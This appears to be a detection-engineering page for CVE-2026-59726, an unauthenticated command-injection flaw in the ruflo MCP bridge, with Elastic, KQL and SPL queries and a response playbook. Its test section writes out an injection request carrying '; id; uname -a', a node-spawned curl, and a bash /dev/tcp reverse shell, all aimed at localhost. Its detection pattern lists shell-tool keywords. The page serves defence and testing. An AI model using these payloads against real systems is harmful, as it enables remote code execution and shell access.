Skip to content
CVE-2026-59726 Elastic Security · Elastic

Detect ruflo MCP Bridge Unauthenticated RCE (CVE-2026-59726) in Elastic Security

Detects exploitation of CVE-2026-59726, an unauthenticated remote code execution vulnerability in the ruflo (ruvnet/ruflo) MCP bridge when deployed via the default Docker Compose configuration. Versions prior to 3.16.3 expose the MCP bridge endpoint without authentication (CWE-306) and pass attacker-controlled parameters into OS command execution (CWE-78), compounded by insecure default configuration (CWE-942). An unauthenticated attacker reaching the exposed bridge port can execute arbitrary OS commands in the container context. This detection surfaces the inbound exploitation requests to the MCP bridge, the resulting child-process spawns under the Node.js/ruflo runtime, and anomalous outbound/egress activity that follows command injection.

MITRE ATT&CK

Tactic
Initial Access Execution

Elastic Detection Query

Elastic Security (Elastic)
eql
// df00tech DF00-5f17756e81 · https://df00tech.com/detections/CVE-2026-59726 · licence: https://df00tech.com/detections/licence
sequence by host.id with maxspan=2m
  [ network where destination.port in (3000,3001,8080,8811) and network.direction == "inbound" ]
  [ process where event.type == "start" and
      process.parent.name in ("node","npm","npx") and
      process.name in ("sh","bash","dash","curl","wget","nc","ncat","python","python3") and
      process.command_line regex~ ".*(curl|wget|/dev/tcp|bash -i|base64 -d|chmod \\+x|mkfifo).*" ]
critical severity high confidence

Correlates inbound connections to ruflo MCP bridge ports with subsequent shell/network child processes spawned by the Node runtime, indicating command injection.

Data Sources

Elastic Defend / Auditbeat process eventsPacketbeat / network flow

Required Tables

logs-endpoint.events.process-*logs-endpoint.events.network-*

False Positives & Tuning

  • Legitimate ruflo MCP tools that intentionally invoke shell commands.
  • Administrative scripts run inside the container that spawn curl/wget.
  • Monitoring agents polling the bridge port generating inbound connections.

Other platforms for CVE-2026-59726


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulate unauthenticated MCP bridge command injection request

    Expected signal: Web/proxy log entry: POST /mcp/tools/call with payload containing shell metacharacters on port 3000.

  2. Test 2 Simulate injected shell child process under node runtime

    Expected signal: Process-creation event: /bin/sh and curl spawned with parent process node.

  3. Test 3 Simulate reverse-shell pattern following bridge request

    Expected signal: Process event showing bash -i with /dev/tcp redirection spawned by node.


Response Playbook

Triage

  1. Confirm the affected host/container is running ruflo < 3.16.3 (check package.json / `npm ls ruflo` or the container image tag) and whether the MCP bridge port (default 3000/3001/8080/8811) is exposed beyond the host.
  2. Review the inbound request(s) that triggered the alert: extract the source IP, the full request body/query, and confirm whether shell metacharacters or command-execution keywords (child_process, exec, spawn, /bin/sh) are present.
  3. Correlate the bridge request timestamp with process-creation telemetry on the host to determine whether a child shell/network process was spawned under the node/ruflo parent within 2 minutes.
  4. Determine whether the bridge is actually unauthenticated in this deployment (default Docker Compose) and whether the request received an HTTP 200 (successful tool invocation).

Containment

  1. Block the attacker source IP(s) at the perimeter/WAF and restrict the MCP bridge port to localhost or an authenticated reverse proxy.
  2. Isolate or stop the affected container and remove it from load-balancer rotation to halt active command execution.
  3. Upgrade ruflo to >= 3.16.3 and redeploy; verify the MCP bridge now enforces authentication per ADR-166.

Evidence Collection

  1. Capture the full web/proxy access logs and request bodies for all requests to the bridge paths from the suspect source IP.
  2. Collect process-creation logs, container runtime logs (`docker logs`), and any files written to /tmp or the app working directory during the exploitation window.
  3. Snapshot the container filesystem and memory before rebuilding to preserve forensic artifacts (dropped payloads, modified configs, added cron/ssh keys).

Escalation Criteria

  • !Escalate to IR if a child process executed outbound network commands (curl/wget to unknown hosts, reverse shell indicators) following the bridge request.
  • !Escalate if evidence of persistence (new users, cron jobs, SSH keys, modified startup scripts) or lateral movement from the container is found.
  • !Escalate if the exposed bridge is internet-reachable and received successful (HTTP 200) injection requests from external IPs.

Investigation Guide

Forensic Artifacts

  • >Web/proxy access logs showing POST/PUT to /mcp, /bridge, /tools/call with metacharacters.
  • >Container runtime (docker) logs and process-creation events showing shell children of node/ruflo.
  • >Dropped files in /tmp, modified crontabs, new SSH authorized_keys, or outbound connection logs from the container.

Tuning Guidance

Baseline the legitimate child processes that your ruflo automation spawns (some MCP tools legitimately invoke shells) and allowlist those exact command patterns. Scope the web-log query to the actual bridge port(s) your Docker Compose maps. If the bridge is internal-only behind an authenticated proxy, raise the keyword threshold or require correlation with a child-process spawn to reduce noise from scanners.


Hunting Queries

Hunt for shell/network child processes spawned by the ruflo node runtime and for repeated bridge probing by source IP.

Hunting — KQL
kql
// df00tech DF00-5f17756e81 · https://df00tech.com/detections/CVE-2026-59726 · licence: https://df00tech.com/detections/licence
DeviceProcessEvents | where InitiatingProcessFileName in~ ("node","npm","npx") | where FileName in~ ("sh","bash","curl","wget","nc","python3") | project TimeGenerated, DeviceName, InitiatingProcessCommandLine, ProcessCommandLine | order by TimeGenerated desc
Hunting — SPL
spl
``` df00tech DF00-5f17756e81 · https://df00tech.com/detections/CVE-2026-59726 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/mcp*" OR uri_path="*/bridge*") (http_method=POST OR http_method=PUT) | stats count values(uri_query) by src_ip | sort - count

Atomic Red Team Tests

Test 1 Simulate unauthenticated MCP bridge command injection request
linux

Sends a crafted POST request to the ruflo MCP bridge path with shell metacharacters to trigger the inbound-request detection (lab target only).

Command

bash
curl -s -X POST http://127.0.0.1:3000/mcp/tools/call -H 'Content-Type: application/json' -d '{"tool":"exec","args":"; id; uname -a"}'

Cleanup

bash
rm -f /tmp/ruflo_atomic_test.out 2>/dev/null || true

Expected Telemetry

Web/proxy log entry: POST /mcp/tools/call with payload containing shell metacharacters on port 3000.

Expected Detection

The kql/spl inbound-request queries fire on the POST to the bridge path carrying command-execution indicators.

Test 2 Simulate injected shell child process under node runtime
linux

Spawns a shell and outbound network command as a child of a node process to emulate post-injection command execution.

Command

bash
node -e "require('child_process').spawn('/bin/sh',['-c','curl -s http://127.0.0.1:9/atomic || true'],{stdio:'inherit'})"

Cleanup

bash
pkill -f 'curl -s http://127.0.0.1:9/atomic' 2>/dev/null || true

Expected Telemetry

Process-creation event: /bin/sh and curl spawned with parent process node.

Expected Detection

The crowdstrike_cql and elastic_eql queries detect the shell/network child process under the node parent.

Test 3 Simulate reverse-shell pattern following bridge request
linux

Emulates a classic reverse-shell command injected via the bridge to validate command-injection child-process detection.

Command

bash
node -e "require('child_process').exec('bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 &')"

Cleanup

bash
pkill -f '/dev/tcp/127.0.0.1/4444' 2>/dev/null || true

Expected Telemetry

Process event showing bash -i with /dev/tcp redirection spawned by node.

Expected Detection

The KQL child-process branch and CrowdStrike query match on bash -i /dev/tcp spawned under node.

Related Detections